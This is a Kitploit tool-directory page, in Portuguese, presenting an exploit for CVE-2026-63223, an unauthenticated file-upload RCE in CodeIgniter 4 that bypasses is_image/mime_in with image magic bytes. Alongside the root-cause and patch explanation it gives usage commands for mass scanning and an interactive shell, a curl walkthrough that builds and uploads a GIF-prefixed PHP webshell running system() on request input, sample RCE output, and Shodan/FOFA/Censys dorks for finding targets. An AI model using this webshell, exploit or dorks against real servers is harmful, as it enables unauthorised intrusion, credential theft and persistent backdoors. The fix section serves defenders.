Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Upload de Arquivos RCE. Bypass de magic bytes (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-63223
Scanners de Vulnerabilidades WebGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Upload de Arquivos RCE. Bypass de magic bytes (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Ver Repositório
14há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-63223 — RCE no Upload de Arquivos do CodeIgniter 4

Bypass de Magic Bytes → is_image/mime_in → PHP Webshell → RCE


Visão Geral

CVE-2026-63223 é uma vulnerabilidade de execução remota de código (RCE) não autenticada, de severidade crítica (CVSS 9.8), no CodeIgniter 4, um framework web full-stack em PHP, que afeta versões anteriores a 4.7.4.

A vulnerabilidade explora as regras de validação de upload de arquivo is_image e mime_in, que inspecionam (magic bytes) sem validar a extensão do nome de arquivo fornecida pelo cliente. Um atacante adiciona magic bytes de imagem (cabeçalhos GIF89a, JPEG, PNG) ao código PHP, nomeia o arquivo como , passa pela validação e obtém RCE quando o arquivo é gravado em um diretório acessível pela web onde o PHP é executado.

apenas o tipo MIME derivado do conteúdo
shell.php

CVSS: 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Descoberta: 31 de julho de 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Corrigido: CodeIgniter 4 v4.7.4

Versões Afetadas

VersãoStatus
< 4.7.4Vulnerável
4.7.4+Corrigido

CWE: CWE-434 — Upload irrestrito de arquivo com tipo perigoso PoC de referência: imbas007/CVE-2026-63223-POC


Mecanismo da Vulnerabilidade

Causa Raiz

A regra de validação is_image do CodeIgniter 4 mapeia getExtension() — que retorna a extensão derivada dos magic bytes (ex.: gif) — por meio de Mimes::guessTypeFromExtension() para determinar se o arquivo é uma imagem. A extensão do nome de arquivo fornecida pelo cliente (getClientExtension(), ex.: php) nunca é inspecionada:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Por Que Funciona

  1. getExtension() ≠ getClientExtension() — o primeiro deriva dos magic bytes (gif), o segundo do nome de arquivo fornecido pelo cliente (php)
  2. A validação confia nos bytes, não no nome — is_image passa porque Mimes::guessTypeFromExtension("gif") retorna image/gif
  3. Arquivo salvo com o nome do cliente — $file->move($path, $file->getClientName()) preserva a extensão .php
  4. Sem verificação cruzada antes da v4.7.4 — nenhuma validação de que a extensão do cliente corresponde ao tipo detectado
  5. Uploads acessíveis pela web — diretórios de upload padrão/públicos servem arquivos PHP diretamente

Fluxo do Ataque

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

A Correção (v4.7.4)

O patch adiciona hasInvalidImageClientExtension() — agora também verifica a extensão do cliente:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

A principal mudança: is_image agora valida tanto getExtension() (derivado do conteúdo, para a verificação real de imagem) quanto getClientExtension() (fornecida pelo cliente, para rejeitar extensões que não são de imagem, como .php).


Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Uso

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Argumentos

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Exploração Manual (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Impacto

A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:

  • Executar comandos arbitrários do sistema
  • Acessar credenciais de banco de dados a partir de arquivos .env
  • Implantar backdoors persistentes
  • Pivotar para redes internas
  • Desfigurar ou comprometer a aplicação

Nenhuma conta ou autenticação é necessária — endpoints de upload que usam is_image/mime_in sem ext_in são vulneráveis por padrão.


A Correção (v4.7.4)

  1. Atualize para o CodeIgniter 4 v4.7.4 ou versão posterior
  2. Workaround: combine is_image/mime_in com a regra de validação ext_in
  3. Armazene os uploads fora da raiz web e sirva-os por meio de um proxy readfile()
  4. Gere nomes de arquivo controlados pelo servidor com getRandomName()

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.

Não use contra sistemas sem permissão explícita. Os autores não se responsabilizam pelo uso indevido.


Referências

RecursoLink
Advisory do GitHubGHSA-mmj4-63m4-r6h5
PoC de referênciaimbas007/CVE-2026-63223-POC
Entrada NVDCVE-2026-63223
CodeIgniter v4.7.4Changelog
CWE-434Upload irrestrito

Não afiliado à CodeIgniter Foundation.

Baixar ferramenta